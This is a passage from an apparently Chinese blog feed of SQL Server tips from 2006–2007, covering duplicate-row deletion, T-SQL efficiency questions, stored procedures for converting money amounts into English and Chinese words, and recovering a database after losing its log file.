				<p>在几千条记录里,存在着些相同的记录,如何能用SQL语句,删除掉重复的呢?</p>
				<p>1、查找表中多余的重复记录，重复记录是根据单个字段（peopleId）来判断<br />select * from people<br />where peopleId in (select  peopleId  from  people  group  by  peopleId  having  count(peopleId) &gt; 1)</p>
				<p>2、删除表中多余的重复记录，重复记录是根据单个字段（peopleId）来判断，只留有rowid最小的记录<br />delete from people <br />where peopleId  in (select  peopleId  from people  group  by  peopleId   having  count(peopleId) &gt; 1)<br />and rowid not in (select min(rowid) from  people  group by peopleId  having count(peopleId )&gt;1)</p>
				<p>3、查找表中多余的重复记录（多个字段） <br />select * from vitae a<br />where (a.peopleId,a.seq) in  (select peopleId,seq from vitae group by peopleId,seq  having count(*) &gt; 1)</p>
				<p>4、删除表中多余的重复记录（多个字段），只留有rowid最小的记录<br />delete from vitae a<br />where (a.peopleId,a.seq) in  (select peopleId,seq from vitae group by peopleId,seq having count(*) &gt; 1) and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)&gt;1)</p>
				<p>5、查找表中多余的重复记录（多个字段），不包含rowid最小的记录<br />select * from vitae a<br />where (a.peopleId,a.seq) in  (select peopleId,seq from vitae group by peopleId,seq having count(*) &gt; 1) and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)&gt;1)</p>
		</div>
		<br />
<img src ="http://www.blogjava.net/liaojiyong/aggbug/105039.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2007-03-20 17:07 <a href="http://www.blogjava.net/liaojiyong/archive/2007/03/20/105039.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL各种写法的效率问题</title><link>http://www.blogjava.net/liaojiyong/archive/2007/03/19/104732.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Mon, 19 Mar 2007 06:18:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/03/19/104732.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/104732.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/03/19/104732.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/104732.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/104732.html</trackback:ping><description><![CDATA[
		<p>1)一次插入多条数据时:<br />CREATE TABLE tb(ID int, 名称 NVARCHAR(30), 备注 NVARCHAR(1000))<br />INSERT tb   SELECT 1,'DDD',1<br />UNION  ALL        SELECT 1,'5100','D'<br />UNION  ALL        SELECT 1,'5200','E'</p>
		<p>也可以这样:<br />CREATE TABLE tb1(ID int, 名称 NVARCHAR(30), 备注 NVARCHAR(1000))<br />INSERT TB1 (ID,名称,备注)VALUES(1,'DDD',1)<br />INSERT TB1 (ID,名称,备注)VALUES(1,'5100','D')<br />INSERT TB1 (ID,名称,备注)VALUES(1,'5200','E')<br />_________________________________<br />上面两种方法,哪种方法效率高?</p>
		<p>(2)赋值时:<br />SELECT @a=N'aa'<br />SET @a=N'aa'<br />_________________________________<br />上面两种方法,哪种方法效率高?</p>
		<p>(3)取前几条数据时<br />set ROWCOUNT 2 select * from tb order by fd<br />select Top 2 * from tb order by fd<br />_________________________________<br />上面两种方法,哪种方法效率高?</p>
		<p>(4)条件判断时<br /> where 0&lt;(select count(*) from tb where ……）<br /> where exists(select * from tb where ……） <br />_________________________________<br />上面两种方法,哪种方法效率高?</p>
		<p>(5)NULLIF的使用-----&gt;同理它的反函数ISNULL的使用<br />update tb set fd=case when fd=1 then null else fd end<br />update tb set fd=nullif(fd,1)<br />_________________________________<br />上面两种方法,哪种方法效率高?</p>
		<p>（6）从字符串中取子字符串时<br />substring('abcdefg',1,3)<br />left('abcderg',3)_<br />________________________________<br />上面两种方法,哪种方法效率高?</p>
		<p>(7)EXCEPT和Not in的区别?</p>
		<p>(8)INTERSECT和UNION的区别?<br /><br /><br /><br />(1)一次插入多条数据时:</p>
		<p>第1种好一些, 但也得有个, 因为第1种的union all是做为一个语句整体, 查询优化器会尝试做优化, 同时, 也要先算出这个结果再插入的.</p>
		<p>2. 如果是单个赋值, 没有什么好比较的话.<br />不过, 如果是为多个变量赋值, 我测试过, SELECT 一次性赋值, 比用SET 逐个赋值效率好.<br />3. SET ROWCOUNT和TOP 是一样的, 包括执行的计划等都是一样的</p>
		<p>4. 这个一般是exists快, 当然, 具体还要看你后面的子查询的条件, 是否会引用外层查询中的对象的列.<br />   exists检查到有值就返回, 而且不返回结果集, count需要统计出所有满足条件的, 再返回一个结果集, 所以一般情况下exists快.<br /><br />5. 应该是一样的<br /><br />6. 基本上是一样的<br />7. except会去重复, not in 不会(除非你在select中显式指定)<br />   except用于比较的列是所有列, 除非写子查询限制列, not in 没有这种情况<br />8. intersect是两个查询都有的非重复值(交集), union是两个查询结果的所有不重复值(并集)</p>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/104732.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2007-03-19 14:18 <a href="http://www.blogjava.net/liaojiyong/archive/2007/03/19/104732.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>金额阿拉伯数字转换为英文的存储过程</title><link>http://www.blogjava.net/liaojiyong/archive/2007/01/16/94223.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 16 Jan 2007 07:49:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/01/16/94223.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/94223.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/01/16/94223.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/94223.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/94223.html</trackback:ping><description><![CDATA[
		<p>/***************************************************************************************************************/<br />CREATE Procedure stpMoneyFromNumberToEnglishDecimalFraction<br />@num numeric(18,2),<br />@result  varchar(500) output<br />AS<br />BEGIN<br />  DECLARE @i int,@hundreds int,@tenth int,@one int<br />  DECLARE @thousand int,@million int,@billion int,@trillion int<br />  DECLARE @numbers varchar(500),@s varchar(18)<br />  SET @numbers='one       two       three     four      five      '<br />              +'six       seven     eight     nine      ten       '<br />              +'eleven    twelve    thirteen  fourteen  fifteen   '<br />              +'sixteen   seventeen eighteen  nineteen  '<br />              +'twenty    thirty    forty     fifty     '<br />              +'sixty     seventy   eighty    ninety    '<br />Print @num<br />  SET @s=RIGHT('000000000000000000'+CAST(@num AS varchar(18)),18)<br />  SET @trillion=CAST(SUBSTRING(@s,1,3) AS int)<br />  SET @billion=CAST(SUBSTRING(@s,4,3) AS int)<br />  SET @million=CAST(SUBSTRING(@s,7,3) AS int)<br />  SET @thousand=CAST(SUBSTRING(@s,10,3) AS int)<br />  SET @result=''<br />  SET @i=0<br />  If @num &lt;&gt; 0<br />  Begin<br />    WHILE @i&lt;=4<br />    BEGIN<br />      SET @hundreds=CAST(SUBSTRING(@s,@i*3+1,1) AS int)<br />      SET @tenth=CAST(SUBSTRING(@s,@i*3+2,1) AS int)<br />      SET @one=(CASE @tenth WHEN 1 THEN 10 ELSE 0 END)+CAST(SUBSTRING(@s,@i*3+3,1) AS int)<br />      SET @tenth=(CASE WHEN @tenth&lt;=1 THEN 0 ELSE @tenth END)<br />      IF (@i=1 and @trillion&gt;0 and (@billion&gt;0 or @million&gt;0 or @thousand&gt;0 or @hundreds&gt;0)) or<br />         (@i=2 and (@trillion&gt;0 or @billion&gt;0) and (@million&gt;0 or @thousand&gt;0 or @hundreds&gt;0)) or<br />         (@i=3 and (@trillion&gt;0 or @billion&gt;0 or @million&gt;0) and (@thousand&gt;0 or @hundreds&gt;0)) or<br />         (@i=4 and (@trillion&gt;0 or (@billion&gt;0 or @million&gt;0 or @thousand&gt;0) and @hundreds&gt;0))<br />      SET @result=@result+', '<br />       IF ((@i=3 or @i=4) and (@trillion&gt;0 or @billion&gt;0 or @million&gt;0 or @thousand&gt;0) and (@hundreds=0 and (@tenth&gt;0 or @one&gt;0)))<br />         SET @result=@result+' and '<br />       IF @hundreds&gt;0<br />         SET @result=@result+RTRIM(SUBSTRING(@numbers,@hundreds*10-9,10))+' hundred'<br />       IF @tenth&gt;=2 and @tenth&lt;=9<br />       BEGIN<br />         IF @hundreds&gt;0<br />           SET @result=@result+' and '<br />         SET @result=@result+RTRIM(SUBSTRING(@numbers,@tenth*10+171,10))<br />       END<br />       IF @one&gt;=1 and @one&lt;=19<br />       BEGIN<br />         IF @tenth&gt;0<br />           SET @result=@result+'-'<br />         ELSE<br />           IF @hundreds&gt;0<br />         SET @result=@result+' and '<br />         SET @result=@result+RTRIM(SUBSTRING(@numbers,@one*10-9,10))<br />       END<br />       IF @i=0 and @trillion&gt;0<br />         SET @result=@result+' trillion'<br />       IF @i=1 and @billion&gt;0<br />         SET @result=@result+' billion'<br />       IF @i=2 and @million&gt;0<br />         SET @result=@result+' million'<br />       IF @i=3 and @thousand&gt;0<br />         SET @result=@result+' thousand'<br />       SET @i=@i+1<br />    END<br />    If  SUBSTRING(@s,1,15) &lt;&gt; '000000000000000'<br />    Begin<br />      If @num &gt; 1<br />       SET @result=@result+' Dollars and'<br />      Else<br />       SET @result=@result+' Dollar and'<br />      IF SUBSTRING(@s,17,2)&lt;&gt;'00'<br />      BEGIN<br />      IF SUBSTRING(@s,17,1)&gt;='2' and SUBSTRING(@s,17,1)&lt;='9'<br />      BEGIN<br />        SET @result=@result  + ' ' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,17,1)*10+171,10))<br />        If  SUBSTRING(@s,18,1)&gt;='1' and SUBSTRING(@s,18,1)&lt;='9'<br />        SET @result=@result + '-' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,18,1)*10-9,10))<br />      END Else<br />      IF  SUBSTRING(@s,17,2)&gt;='1' and  SUBSTRING(@s,17,2)&lt;='19'<br />      BEGIN<br />        SET @result=@result + ' ' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,17,2)*10-9,10))<br />      END<br />         If (@num-Floor(@num))*100 &gt; 1<br />         SET @result=@result + ' Cents'<br />       Else<br />         SET @result=@result + ' Cent'<br />      End else<br />      Begin<br />        SET  @result=SUBSTRING(@result,0,len(@result)-3)<br />      End<br />    End Else<br />    Begin<br />      IF SUBSTRING(@s,17,1)&gt;='2' and SUBSTRING(@s,17,1)&lt;='9'<br />      BEGIN<br />        SET @result=@result  + ' ' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,17,1)*10+171,10))<br />        If  SUBSTRING(@s,18,1)&gt;='1' and SUBSTRING(@s,18,1)&lt;='9'<br />        SET @result=@result + '-' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,18,1)*10-9,10))<br />      END Else<br />      IF  SUBSTRING(@s,17,2)&gt;='1' and  SUBSTRING(@s,17,2)&lt;='19'<br />      BEGIN<br />        SET @result=@result + ' ' +RTRIM(SUBSTRING(@numbers,SUBSTRING(@s,17,2)*10-9,10))<br />      END<br />      If (@num-Floor(@num))*100 &gt; 1<br />       SET @result=@result + ' Cents'<br />      Else<br />       SET @result=@result + ' Cent'<br />    End<br />    Set @result=LTRIM(@result)<br />  End Else<br />    Set @result= 'Zero Dollar'<br />END<br />GO<br />--Drop Procedure    fMoneyFromNumberToEnglishDecimalFraction<br />declare @a varchar(800)<br />Exec stpMoneyFromNumberToEnglishDecimalFraction  123.566 ,@a  output<br />print @a</p>
		<p>
				<br />
				<br />
				<br />
				<br />
				<br />
				<br />
				<br />
				<br />
				<br />
				<br />
				<br />
				<br />
				<br />
				<br />
				<br />/***************************************************************************************************************/<br />CREATE FUNCTION [dbo].[f_num_eng] (@num numeric(15,2))<br />RETURNS varchar(400) WITH ENCRYPTION<br />AS<br />BEGIN<br />--All rights reserved. pbsql<br />  DECLARE @i int,@hundreds int,@tenth int,@one int<br />  DECLARE @thousand int,@million int,@billion int<br />  DECLARE @numbers varchar(400),@s varchar(15),@result varchar(400)<br />  SET @numbers='one       two       three     four      five      '<br />              +'six       seven     eight     nine      ten       '<br />              +'eleven    twelve    thirteen  fourteen  fifteen   '<br />              +'sixteen   seventeen eighteen  nineteen  '<br />              +'twenty    thirty    forty     fifty     '<br />              +'sixty     seventy   eighty    ninety    '<br />  SET @s=RIGHT('000000000000000'+CAST(@num AS varchar(15)),15)<br />  SET @billion=CAST(SUBSTRING(@s,1,3) AS int)--?12位整?分成4段：十?、百万、千、百十?<br />  SET @million=CAST(SUBSTRING(@s,4,3) AS int)<br />  SET @thousand=CAST(SUBSTRING(@s,7,3) AS int)<br />  SET @result=''<br />  SET @i=0<br />  WHILE @i&lt;=3<br />  BEGIN<br />    SET @hundreds=CAST(SUBSTRING(@s,@i*3+1,1) AS int)--百位0-9<br />    SET @tenth=CAST(SUBSTRING(@s,@i*3+2,1) AS int)<br />    SET @one=(CASE @tenth WHEN 1 THEN 10 ELSE 0 END)+CAST(SUBSTRING(@s,@i*3+3,1) AS int)--?位0-19<br />    SET @tenth=(CASE WHEN @tenth&lt;=1 THEN 0 ELSE @tenth END)--十位0、2-9<br />    IF (@i=1 and @billion&gt;0 and (@million&gt;0 or @thousand&gt;0 or @hundreds&gt;0)) or<br />       (@i=2 and (@billion&gt;0 or @million&gt;0) and (@thousand&gt;0 or @hundreds&gt;0)) or<br />       (@i=3 and (@billion&gt;0 or @million&gt;0 or @thousand&gt;0) and (@hundreds&gt;0))<br />      SET @result=@result+', '--百位不是0?每段之?加?接符,<br />    IF (@i=3 and (@billion&gt;0 or @million&gt;0 or @thousand&gt;0) and (@hundreds=0 and (@tenth&gt;0 or @one&gt;0)))<br />      SET @result=@result+' and '--百位是0?加?接符AND<br />    IF @hundreds&gt;0<br />      SET @result=@result+RTRIM(SUBSTRING(@numbers,@hundreds*10-9,10))+' hundred'<br />    IF @tenth&gt;=2 and @tenth&lt;=9<br />    BEGIN<br />      IF @hundreds&gt;0<br />        SET @result=@result+' and '<br />      SET @result=@result+RTRIM(SUBSTRING(@numbers,@tenth*10+171,10))<br />    END<br />    IF @one&gt;=1 and @one&lt;=19<br />    BEGIN<br />      IF @tenth&gt;0<br />        SET @result=@result+'-'<br />      ELSE<br />        IF @hundreds&gt;0<br />          SET @result=@result+' and '<br />      SET @result=@result+RTRIM(SUBSTRING(@numbers,@one*10-9,10))<br />    END<br />    IF @i=0 and @billion&gt;0<br />      SET @result=@result+' billion'<br />    IF @i=1 and @million&gt;0<br />      SET @result=@result+' million'<br />    IF @i=2 and @thousand&gt;0<br />      SET @result=@result+' thousand'<br />    SET @i=@i+1<br />  END<br />  IF SUBSTRING(@s,14,2)&lt;&gt;'00'<br />  BEGIN<br />    SET @result=@result+' point '<br />    IF SUBSTRING(@s,14,1)='0'<br />      SET @result=@result+'zero'<br />    ELSE<br />      SET @result=@result+RTRIM(SUBSTRING(@numbers,CAST(SUBSTRING(@s,14,1) AS int)*10-9,10))<br />    IF SUBSTRING(@s,15,1)&lt;&gt;'0'<br />      SET @result=@result+' '+RTRIM(SUBSTRING(@numbers,CAST(SUBSTRING(@s,15,1) AS int)*10-9,10))<br />  END<br />  RETURN(@result)<br />END<br /></p>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/94223.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2007-01-16 15:49 <a href="http://www.blogjava.net/liaojiyong/archive/2007/01/16/94223.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>金额阿拉伯数字转换为中文的存储过程</title><link>http://www.blogjava.net/liaojiyong/archive/2007/01/16/94222.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 16 Jan 2007 07:46:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2007/01/16/94222.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/94222.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2007/01/16/94222.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/94222.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/94222.html</trackback:ping><description><![CDATA[
		<font size="2">
				<font color="#c60a00">
						<font color="#000000" size="3">/********************************************************<br />作者：(wleii165@yahoo.com)<br />版本：1.0<br />创建时间：20020227<br />修改时间：<br />功能：小写金额转换成大写<br />参数：n_LowerMoney 小写金额<br />          v_TransType 种类 -- 1: directly translate, 0: read it in words <br />输出：大写金额<br />********************************************************/<br />CREATE PROCEDURE dbo.L2U <br />(<br />@n_LowerMoney numeric(15,2),<br />@v_TransType int,<br />@RET VARCHAR(200) output<br />)<br /> AS <br />  <br />Declare @v_LowerStr VARCHAR(200) -- 小写金额 <br />Declare @v_UpperPart VARCHAR(200) <br />Declare @v_UpperStr VARCHAR(200) -- 大写金额<br />Declare @i_I int<br /><br />set nocount on<br /><br />select @v_LowerStr = LTRIM(RTRIM(STR(@n_LowerMoney,20,2))) --四舍五入为指定的精度并删除数据左右空格<br /><br />select @i_I = 1<br />select @v_UpperStr = ''<br /><br />while ( @i_I &lt;= len(@v_LowerStr))<br />begin<br />      select @v_UpperPart = case substring(@v_LowerStr,len(@v_LowerStr) - @i_I + 1,1)<br />                            WHEN  '.' THEN  '元'<br />                            WHEN  '0' THEN  '零'<br />                            WHEN  '1' THEN  '壹'<br />                            WHEN  '2' THEN  '贰'<br />                            WHEN  '3' THEN  '叁'<br />                            WHEN  '4' THEN  '肆'<br />                            WHEN  '5' THEN  '伍'<br />                            WHEN  '6' THEN  '陆'<br />                            WHEN  '7' THEN  '柒'<br />                            WHEN  '8' THEN  '捌'<br />                            WHEN  '9' THEN  '玖'<br />                            END<br />                          + <br />                            case @i_I<br />                            WHEN  1  THEN  '分'<br />                            WHEN  2  THEN  '角'<br />                            WHEN  3  THEN  ''<br />                            WHEN  4  THEN  ''<br />                            WHEN  5  THEN  '拾'<br />                            WHEN  6  THEN  '佰'<br />                            WHEN  7  THEN  '仟'<br />                            WHEN  8  THEN  '万'<br />                            WHEN  9  THEN  '拾'<br />                            WHEN  10  THEN  '佰'<br />                            WHEN  11  THEN  '仟'<br />                            WHEN  12  THEN  '亿'<br />                            WHEN  13  THEN  '拾'<br />                            WHEN  14  THEN  '佰'<br />                            WHEN  15  THEN  '仟'<br />                            WHEN  16  THEN  '万'<br />                            ELSE ''<br />                            END<br />select @v_UpperStr = @v_UpperPart + @v_UpperStr<br />select @i_I = @i_I + 1<br />end<br /><br />--------print  '//v_UpperStr ='+@v_UpperStr +'//'<br /><br />if ( @v_TransType=0 )<br />begin<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零拾','零') <br />select @v_UpperStr = REPLACE(@v_UpperStr,'零佰','零') <br />select @v_UpperStr = REPLACE(@v_UpperStr,'零仟','零') <br />select @v_UpperStr = REPLACE(@v_UpperStr,'零零零','零')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零零','零')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零角零分','整')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零分','整')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零角','零')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零亿零万零元','亿元')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'亿零万零元','亿元')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零亿零万','亿')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零万零元','万元')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'万零元','万元')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零亿','亿')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零万','万')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零元','元')<br />select @v_UpperStr = REPLACE(@v_UpperStr,'零零','零')<br />end<br /><br />-- 对壹元以下的金额的处理 <br />if ( substring(@v_UpperStr,1,1)='元' )<br />begin<br />     select @v_UpperStr = substring(@v_UpperStr,2,(len(@v_UpperStr) - 1))<br />end<br /><br />if (substring(@v_UpperStr,1,1)= '零')<br />begin<br />     select @v_UpperStr = substring(@v_UpperStr,2,(len(@v_UpperStr) - 1))<br />end<br /><br />if (substring(@v_UpperStr,1,1)='角')<br />begin<br />     select @v_UpperStr = substring(@v_UpperStr,2,(len(@v_UpperStr) - 1))<br />end<br /><br />if ( substring(@v_UpperStr,1,1)='分')<br />begin<br />     select @v_UpperStr = substring(@v_UpperStr,2,(len(@v_UpperStr) - 1))<br />end<br /><br />if (substring(@v_UpperStr,1,1)='整')<br />begin<br />     select @v_UpperStr = '零元整'<br />end<br /><br />select @ret=@v_UpperStr<br /><br />GO<br /><br />调用过程：<br /><br />declare @ret varchar(200)<br /><br />exec L2U 567983.897,1,@ret output<br /><br />select @ret</font>
						<br />
						<imgborder src=".. ?id='21123" width="1" height="1" onload="returnimgzoom(this,550)" '="">
						</imgborder>
				</font>
		</font>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/94222.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2007-01-16 15:46 <a href="http://www.blogjava.net/liaojiyong/archive/2007/01/16/94222.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>恢复丢失的SQL Server日志</title><link>http://www.blogjava.net/liaojiyong/archive/2006/10/13/74908.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Fri, 13 Oct 2006 01:21:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/10/13/74908.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/74908.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/10/13/74908.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/74908.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/74908.html</trackback:ping><description><![CDATA[日志文件丢失是一件非常危险的事情，很有可能你的数据库彻底毁坏。SQL Server数据库的恢复都是靠日志文件来完成，所以无论如何都要保证日志文件的存在。<strong>　　</strong><p><strong>      一、 概述<br /><br /></strong>　　在应用系统中，数据库往往是最核心的部分，一旦数据库毁坏或损坏，将会带来巨大的损失，所以数据库的管理越来越重要。我们在做数据库管理与维护工作中，不可避免会出现各种各样的错误，本文针对数据库的日志文件丢失时如何利用MDF文件恢复数据库的方法进行了研究。 <br /><br />　　<b>二、 数据库的恢复</b><br /><br />　　当数据库的主数据MDF文件完好无损时，在丢失了LDF文件的情况下，如何利用MDF文件恢复数据库？我们把SQL Server的日志文件分为两类：一类是无活动事务的日志，另一类是含活动事务的日志，根据不同的日志，采取不同的方法来恢复数据库。<br /><br />　　1. 无活动事务的日志恢复<br /><br />　　无活动事务的日志丢失时，我们很容易利用MDF文件直接恢复数据库，具体方法如下：<br /><br />　　①.分离被质疑的数据库，可用企业管理器中的"分离数据库工具"，或者用存储过程sp_detach_db分离数据库；<br /><br />　　②利用MDF文件附加数据库生成新的日志文件，可用企业管理器中的"附加数据库"的工具，或者用存储过程sp_attach_single_file_db附加数据库。<br /><br />　　如果数据库的日志文件中含有活动事务，利用此方法就不能恢复数据库。<br /><br />　　2. 含活动事务的日志恢复<br /><br />　　含有活动事务的日志丢失时，利用上述方法就会出现"数据库和日志文件不符合，不能附加数据库"。对于这种情况下，我们采用如下方法：<br /><br />　　①新建同名数据库AAA，并设它为紧急模式<br /><br />　　·停止SQL Server服务器；<br /><br />　　·把数据库主数据MDF文件移走；<br /><br />　　·启SQL Server服务器，新建一个同名的数据库AAA； <br /><br />　　·停止SQL Server服务器，把移走的MDF文件再覆盖回来；<br /><br />　　·启动SQL Server服务器，把AAA设为紧急模式，不过默认情况下，系统表是不能随便修改的，必须首先设置一下使其能被修改，运行以下语句即可：<br /><br /></p><table bordercolor="#cccccc" width="90%" align="center" bgcolor="#e3e3e3" border="1"><tbody><tr><td>Use Master<br />Go<br />sp_configure ’allow updates’,1<br />reconfigure with override<br />Go</td></tr></tbody></table><br />　　接着运行以下语句，把AAA数据库设为紧急模式，即把Sysdatabases表中AAA数据库的status属性设为’37268’,就表示把AAA数据库处于紧急模式。<br /><br /><table bordercolor="#cccccc" width="90%" align="center" bgcolor="#e3e3e3" border="1"><tbody><tr><td>update sysdatabases set status=32768 where hame=’AAA’</td></tr></tbody></table><br />　　如果没有报告什么错误，就可以进行以下操作。<br /><br />　　②设置数据库AAA为单用户模式，并检查数据库<br /><br />　　·重启SQL Server服务器；<br /><br />　　·把数据库AAA设为单用户模式<br /><br /><table bordercolor="#cccccc" width="90%" align="center" bgcolor="#e3e3e3" border="1"><tbody><tr><td>Sp_dboption ’AAA’, ’single user’, ’true’</td></tr></tbody></table><br />　　·运行以下语句，检查数据库AAA<br /><br /><table bordercolor="#cccccc" width="90%" align="center" bgcolor="#e3e3e3" border="1"><tbody><tr><td>DBCC CHECKDB(’AAA’)</td></tr></tbody></table><br />　　如果没有什么大的问题就可以把数据库的状态改回去。<br /><br />　　③还原数据库的状态<br /><br />　　运行以下语句，就可以把数据库的状态还原：<br /><br /><table bordercolor="#cccccc" width="90%" align="center" bgcolor="#e3e3e3" border="1"><tbody><tr><td>update sysdatabases set status=28 where name=’AAA’<br />sp_configure ’allow updates’,0<br />reconfigure with override<br />Go</td></tr></tbody></table><br />　　如果没有什么大的问题，刷新一下数据库，数据库AAA又会出现在你面前，但目前恢复工作还没有做完，此时的数据库仍不能工作，还要进行下面的处理，才能真正恢复。<br /><br />　　④利用DTS的导入导出向导，把数据库AAA导入到一个新建数据库BBB中<br /><br />　　·新建一个数据库BBB;<br /><br />　　·右击BBB，选择IMPORT功能，打开导入向导；<br /><br />　　·目标源选择"在SQL Server数据库之间复制对象和数据库"，这样可以把表结构，数据视图和存储过程导入到BBB中<br /><br />　　·再用此功能把BBB库替换成原来的AAA库即可。<br /><br />　　到此为止，数据库AAA就完全恢复。<br /><br />　　<b>三、 小结</b><br /><br />　　日志文件丢失是一件非常危险的事情，很有可能你的数据库彻底毁坏。SQL Server数据库的恢复都是靠日志文件来完成，所以无论如何都要保证日志文件的存在，它至关重要。为了使我们的数据库万无一失，最好采用多种备份方式相结合，所以我们要从心里重视数据库的管理与维护工作。<!--NEWSZW_HZH_BEGIN--><br /><img src ="http://www.blogjava.net/liaojiyong/aggbug/74908.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-10-13 09:21 <a href="http://www.blogjava.net/liaojiyong/archive/2006/10/13/74908.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL中Table型数据与用户自定义函数(轉)</title><link>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74265.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 10 Oct 2006 04:19:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74265.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/74265.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74265.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/74265.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/74265.html</trackback:ping><description><![CDATA[SQL Server 2000 新增了Table型数据：Table型数据不能用来定义列的类型,只能用作T-SQL变量或者作为自定义函数的返回值,下例是一个简单的table 型数据的例子:<br /><br /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">Declare @TableVar Table</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">(Cola int Primary Key,Colb char(3))</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">Insert Into @TableVar Values (1, 'abc')</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">Insert Into @TableVar Values (2, 'def')</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">Select * From @TableVar</span><br /><br />以上语句定义了一个名为TableVar,有两列的table 型变量像通常的表一样table 型数据也有insert select 等操作。在SQL Server 2000 中table 型数据与用户自定义函数是密不可分的，SQL Server 2000支持两种类型的函数：内置函数和用户定义函数。内置函数只允许T-SQL 语句调用而不能更改使用。用户定义函数可以根据需要定义自己所需的函数。<span style="COLOR: rgb(255,102,0); TEXT-DECORATION: underline">用户定义函数可以带参数，也可以不带参数，但只能返回单值。正是由于这个原因SQL Server 2000 增加了table 型数据</span>，其值可以是整型字符型或数值型。下例是一个简单的用户定义函数说明了用户定义函数的基本结构:<br /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">Create Function CubicVolume</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">(@CubeLength decimal(4,1),@CubeWidth decimal(4,1),@CubeHeight decimal(4,1) )</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); 